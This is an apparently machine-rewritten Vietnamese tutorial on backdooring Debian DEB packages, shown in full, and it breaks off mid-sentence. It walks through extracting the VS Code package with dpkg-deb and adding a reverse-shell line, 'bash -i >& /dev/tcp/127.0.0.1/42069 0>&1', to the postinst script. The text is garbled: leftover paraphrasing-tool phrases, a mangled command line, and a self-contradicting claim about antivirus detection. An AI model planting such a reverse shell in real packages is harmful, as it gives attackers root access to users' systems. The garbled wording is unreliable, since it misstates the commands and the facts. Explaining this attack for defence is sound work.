Cách các gói DEB bị backdoor và cách phát hiện nó
Bài học chính
Những kẻ bất chính tiềm tàng có thể khai thác kho gói Debian bằng cách lén lút đưa phần mềm có hại vào hệ thống của người dùng thông qua quá trình cài đặt trong khi sử dụng các đặc quyền nâng cao.
Việc phát hiện các tệp gói Debian bị nhiễm có thể là một thách thức do chúng có khả năng bị các chương trình chống vi-rút và nền tảng dựa trên đám mây như VirusTotal phát hiện.
Để bảo vệ bản thân, bạn nên hạn chế nhận các gói DEB từ các nguồn không quen thuộc, thay vào đó hãy chọn các nền tảng phân phối được ủy quyền hoặc trang web đã được cộng đồng đáng tin cậy xác nhận. Ngoài ra, việc triển khai các biện pháp bảo mật trên hệ điều hành Linux của một người có thể giúp giảm thiểu các mối đe dọa tiềm ẩn do các cuộc tấn công mạng gây ra.
Các tệp DEB đại diện cho một hình thức phân phối phần mềm phổ biến cho các hệ điều hành Linux dựa trên Debian, đóng vai trò là định dạng đóng gói tiêu chuẩn để phân phối ứng dụng trong các nền tảng này.
Để triển khai các tệp Gói Debian (DEB), cần phải tận dụng công cụ quản lý gói như dpkg trong khi có đặc quyền quản trị. Tuy nhiên, tội phạm mạng khai thác lỗ hổng này bằng cách nhúng các điểm truy cập trái phép vào các gói này, sau đó thực thi khi cài đặt thông qua dpkg hoặc trình cài đặt phần mềm tương đương khác. Chiến thuật này dẫn đến những vi phạm tiềm ẩn trong khuôn khổ bảo mật của hệ thống máy tính của một người.
Chúng ta hãy tìm hiểu sâu hơn về sự phức tạp của các lỗ hổng cửa sau có trong các gói DEB và xem xét các biện pháp có thể được thực hiện để bảo vệ bản thân khỏi các mối đe dọa tiềm ẩn.
Các gói DEB được backdoor như thế nào?
Trước tiên, chúng ta hãy đi sâu vào sự phức tạp của Kho lưu trữ gói Debian (DEB) trước khi giải thích tính nhạy cảm của chúng đối với các lỗ hổng cửa sau. Để minh họa khái niệm này, chúng tôi sẽ sử dụng gói DEB Microsoft Visual Studio Code phổ biến được lấy trực tiếp từ trang web quý giá của Microsoft làm điểm tham chiếu của chúng tôi. Gói tương tự mà những người đam mê Linux trên toàn thế giới sử dụng khi cài đặt Visual Studio Code trên hệ thống tương ứng của họ.
Tải xuống: Visual Studio Code
Để trích xuất nội dung của gói DEB bằng tiện ích dpkg-deb, người ta có thể sử dụng cờ “-R” kết hợp với đường dẫn thư mục nơi lưu trữ các tệp được giải nén. Cú pháp cho thao tác này sẽ giống như sau:cssdpkg-deb-R [DEPENDENCY_PATH] [TARGET_FILENAME]
dpkg-deb -R <package_name> <path>
Một cách khả thi để trình bày rõ ràng tuyên bố này theo cách tinh tế hơn như sau: “Hành động này nhằm truy xuất nội dung có trong gói phần mềm VS Code.
Khi truy cập vào thư mục được chỉ định, người ta sẽ phát hiện ra vô số thư mục con. Tuy nhiên, cần lưu ý rằng chúng tôi chỉ quan tâm đến thư mục “DEBIAN” trong thư mục nói trên. Thư mục đã nói chứa một loạt các tập lệnh bảo trì được thực thi khi cài đặt và có các quyền nâng cao, đặc biệt là các quyền của người dùng root. Không có gì ngạc nhiên khi những kẻ độc hại đã biết thao túng chính những kịch bản này cho mục đích bất chính của chúng.
Cho phép tôi tinh chỉnh ngôn ngữ cho bạn. Ví dụ hiện tại liên quan đến việc sửa đổi tập lệnh sau cài đặt và kết hợp trình bao TCP đảo ngược phù hợp dưới dạng lệnh Bash một dòng. Tuân theo danh pháp của nó, tập lệnh này được kích hoạt sau khi cài đặt gói phần mềm trên hệ thống.
Tập lệnh nói trên bao gồm các chỉ thị để thiết lập các khía cạnh khác nhau của cấu hình, bao gồm cả việc thiết lập các liên kết tượng trưng và quản lý các phần phụ thuộc. Vô số giải pháp shell đảo ngược thay thế có sẵn trực tuyến, với nhiều giải pháp có chức năng tương tự. Ví dụ: một ví dụ minh họa về khai thác shell đảo ngược có thể được thực thi bằng lệnh sau:
bash -i >& /dev/tcp/127.0.0.1/42069 0>&1
Giải thích lệnh:
Việc thực thi shell Bash được bắt đầu bằng lệnh này.
Sự hiện diện của cờ nhắc nhở Bash hoạt động theo kiểu tương tác, cho phép nhập và xuất lệnh ngay lập tức.
Lệnh"